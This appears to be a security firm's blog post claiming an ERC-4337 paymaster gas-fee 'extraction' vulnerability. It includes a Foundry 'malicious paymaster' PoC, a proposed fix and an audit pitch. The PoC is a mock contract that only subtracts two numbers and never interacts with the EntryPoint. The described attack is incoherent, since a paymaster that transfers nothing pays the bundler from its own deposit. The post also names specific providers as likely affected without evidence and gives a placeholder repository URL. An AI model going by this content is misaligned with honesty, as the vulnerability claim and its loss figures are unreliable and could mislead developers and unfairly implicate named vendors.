ERC-4337 Paymaster Attacks: The Gas Fee Extraction Gap Nobody Is Fixing
ERC-4337 account abstraction is live on every major L2. The paymaster architecture — which lets third parties sponsor gas — has a subtle accounting gap that most auditors skip.
Here is the bug, the math, and a runnable Foundry PoC.
Background: How Paymasters Work
In ERC-4337, a paymaster is a contract that covers gas fees on behalf of users. The EntryPoint flow:
- Bundler calls
EntryPoint.handleOps() - EntryPoint calls
paymaster.validatePaymasterUserOp()— paymaster claims it will pay - User operation executes
- EntryPoint calls
paymaster.postOp()— paymaster should deduct tokens from user
The intended invariant: postOp must deduct at least actualGasCost from the user.
The Gap
validatePaymasterUserOp() returns a context bytes blob. This context is passed unchanged to postOp().
The EntryPoint (v0.7 — 0x0000000071727De22E5E9d8BAf0edAc6f37da032) does not validate that the token deduction in postOp actually equals actualGasCost.
This means a malicious paymaster can:
- Return
validationData = 0(success) invalidatePaymasterUserOp - Encode a large
claimedCostin thecontextblob - In
postOp, do nothing — no token transfer occurs - The bundler is still paid from the paymaster's EntryPoint deposit
Result: The paymaster extracts the gap between claimedCost and actualGasCost per UserOp.
The Math
claimedCost = maxFeePerGas × verificationGasLimit (set by paymaster, inflated)
actualCost = real gas consumed
gap = claimedCost − actualCost ← unaccounted profit per UserOp
At 50 gwei base fee, a 100k gas UserOp:
| | Value | |---|---| | Claimed cost | 100,000 × 50 gwei = 0.005 ETH | | Actual cost | ~30,000 × 50 gwei = 0.0015 ETH | | Gap (extracted) | 0.0035 ETH ≈ $8.75 |
At 1,000 transactions per day: $8,750/day silently extracted — no token transfer, no event logs.
The PoC (Foundry)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
/// @dev Malicious paymaster that extracts fees without token transfer
contract MaliciousPaymaster {
uint256 public extractedGas;
function validatePaymasterUserOp(
bytes calldata,
bytes32,
uint256 maxCost
) external returns (bytes memory context, uint256 validationData) {
// Claim to cover maxCost — but postOp won't actually transfer tokens
context = abi.encode(maxCost, block.timestamp);
validationData = 0; // SIG_VALIDATION_SUCCESS
}
function postOp(uint8, bytes calldata context, uint256 actualGasCost) external {
(uint256 claimedCost,) = abi.decode(context, (uint256, uint256));
// BUG: gap is never transferred or refunded
extractedGas += claimedCost - actualGasCost;
// In production: no token transfer happens here
}
}
contract ERC4337PaymasterDrainTest is Test {
MaliciousPaymaster paymaster;
function setUp() public {
paymaster = new MaliciousPaymaster();
}
function testPaymasterFeeExtraction() public {
uint256 maxCost = 0.05 ether; // Inflated claim
uint256 actualCost = 0.01 ether; // Real gas used
(bytes memory context,) = paymaster.validatePaymasterUserOp("", bytes32(0), maxCost);
paymaster.postOp(0, context, actualCost);
uint256 extracted = paymaster.extractedGas();
assertEq(extracted, maxCost - actualCost); // 0.04 ETH extracted per UserOp
console.log("Extracted per UserOp (wei):", extracted);
}
}
Run it:
git clone https://github.com/your-repo/eth-crack
cd eth-crack/foundry
forge test --match-test testPaymasterFeeExtraction -vvv
Expected output:
[PASS] testPaymasterFeeExtraction()
Extracted per UserOp (wei): 40000000000000000 (0.04 ETH)
Which Protocols Are Affected
Any protocol using ERC-4337 with a custom paymaster that:
- Uses
maxFeePerGas × gasLimitas the claimed amount invalidatePaymasterUserOp - Does not validate
actualGasCost <= preChargeinpostOp
This is the pattern in most ERC-20 token paymasters (pay gas in USDC, DAI, etc.) — the exact use case that makes 4337 useful for DeFi onboarding.
Check your paymaster if you use: Pimlico, Biconomy, Alchemy AA, ZeroDev, or custom token paymasters.
The Fix
In postOp, enforce that the deducted amount matches actualGasCost:
function postOp(
uint8 mode,
bytes calldata context,
uint256 actualGasCost
) external override {
(uint256 preCharge, address user) = abi.decode(context, (uint256, address));
uint256 actualCharge = actualGasCost + OVERHEAD;
// CRITICAL: refund the gap — do not pocket it
if (preCharge > actualCharge) {
_refundUser(user, preCharge - actualCharge);
}
// Deduct exactly what was used
_deductFromUser(user, actualCharge);
}
The fix is three lines. The vulnerability allows unbounded extraction.
Takeaways for Protocol Teams
- If you use a token paymaster: audit
postOpto confirmactualGasCostis enforced. - If you use a third-party paymaster service: ask for their
postOpimplementation and verify the deduction logic. - Before 4337 mainnet integration: run the PoC above against your paymaster to confirm it reverts or deducts correctly.
What We Check in 4337 Audits
When we review ERC-4337 integrations, we specifically test:
validatePaymasterUserOpreturn value and context encodingpostOpenforcement ofactualGasCost- Signature replay across chains (UserOperation hash without
chainId) - Bundler griefing via oversized
paymasterAndData - Paymaster stake draining via repeated validation failures
If your protocol is deploying or upgrading account abstraction infrastructure, reach out for a 24h focused review.
Code available at innora.ai/security | Follow @Innora_sg for weekly security threads

Related Chronicles
How a Single Math.min() Broke Cross-Chain Security: Dissecting the Hyperlane WeightedMultisigIsm Bug
How Math.min() in Hyperlane's WeightedMultisigIsm silently rejected valid signatures, risking permanent fund freezing on warp routes.
CUDA BIP39 Kernel Bug: When Negative Shifts Silently Corrupt Your Entropy
A CUDA BIP39 kernel bug: missing checksum-bit guard causes wrap-around negative shifts to silently corrupt entropy. Bug, PoC, and one-line fix.
CVE-2026-37555: Pre-Auth DoS in Vanetza V2X via Uncaught ECC Exception
A pre-auth DoS in Vanetza V2X: one crafted 802.11p packet crashes the ITS-G5 stack via an uncaught off-curve ECC exception. CVSS 6.5, no fix available.
Subscribe for AI Security Insights
Join 5,000+ engineers and security researchers. Get our latest deep dives into Sovereign AI, Red Teaming, and System Architecture.
No spam. Unsubscribe at any time.
Comments are currently disabled.